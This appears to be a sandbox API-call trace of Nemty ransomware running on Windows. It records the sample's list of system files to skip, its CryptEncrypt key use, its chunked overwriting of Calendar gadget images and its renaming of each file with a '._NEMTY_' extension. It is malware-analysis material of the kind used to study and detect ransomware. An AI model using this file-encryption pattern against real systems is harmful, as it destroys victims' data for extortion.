[0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="$RECYCLE.BIN") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="rsa") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="NTDETECT.COM") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="ntldr") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="MSDOS.SYS") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="IO.SYS") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="boot.ini") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="boot.ini") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="ntuser.dat") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="desktop.ini") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="CONFIG.SYS") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="RECYCLER") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="BOOTSECT.BAK") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="bootmgr") returned 1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="programdata") returned -1 [0111.949] lstrcmpiW (lpString1="calendar_single_bkg.png", lpString2="appdata") returned 1 [0111.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0111.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0111.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.950] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg.png", cchWideChar=23, lpMultiByteStr=0x4f9ed58, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg.png", lpUsedDefaultChar=0x0) returned 23 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340250 [0111.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340198 [0111.950] Sleep (dwMilliseconds=0x5) [0111.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6613110, dwHighDateTime=0x1d561e7)) [0111.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6613110, dwHighDateTime=0x1d561e7)) [0111.959] GetLastError () returned 0x5 [0111.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.959] GetLastError () returned 0x5 [0111.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0111.959] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.959] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.959] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0111.959] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="gOAyWS9k+7IFafKUEO84Qs5DDbYpmQ6tb8PYXFy7c5lp1PdHGRmxFLUQ/ov3oVs+\r\nEgwU3tj1hXf9Yxuwx6tRUe/nXPhdP/SNGztEP1+7Tsp0jpq0aOFADGfpyWZgb6VX\r\nBVYIAN4uLzYY1amS/tj0Cduoky0Y6Luzc8CO0NtlSLNzuzvImtrkZZNLpYw9v1Lt\r\niuWowiaOc4452SIRUcuMayOnFrNUQ9y92Cp44sDh4RhWF56Y/kx8Shl2ks//uOq/\r\nZ16vbD3N6IeM7s8RBic6gvrjafDryEgn9fdBnNNW1DRpUAdMWiC4zkouIhfQwhR2\r\nF1fzno5y0YkIo1GWZ2NgiQ==\r\n", pcchString=0x653e91c) returned 1 [0111.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0111.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0111.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0111.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.960] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.960] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.988] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.997] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.997] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.997] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.007] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.016] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.016] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.016] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.025] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.025] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.025] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.044] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.044] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.044] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.055] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.055] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.055] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.067] CloseHandle (hObject=0xffffffff) returned 0 [0112.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340478 [0112.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0112.067] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0112.067] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0112.067] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0112.068] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0112.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\calendar_single_bkg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\calendar_single_bkg.png._nemty_kgobjgd_")) returned 0 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.068] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.068] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8251cb43, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8251cb43, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28396d47, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="calendar_single_bkg_orange.png", cAlternateFileName="")) returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2=".") returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="..") returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="...") returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="windows") returned -1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="$RECYCLE.BIN") returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="rsa") returned -1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="NTDETECT.COM") returned -1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="ntldr") returned -1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="MSDOS.SYS") returned -1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="IO.SYS") returned -1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="boot.ini") returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="boot.ini") returned 1 [0112.068] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="ntuser.dat") returned -1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="desktop.ini") returned -1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="CONFIG.SYS") returned -1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="RECYCLER") returned -1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="BOOTSECT.BAK") returned 1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="bootmgr") returned 1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="programdata") returned -1 [0112.069] lstrcmpiW (lpString1="calendar_single_bkg_orange.png", lpString2="appdata") returned 1 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0112.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.069] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="calendar_single_bkg_orange.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="calendar_single_bkg_orange.png", lpUsedDefaultChar=0x0) returned 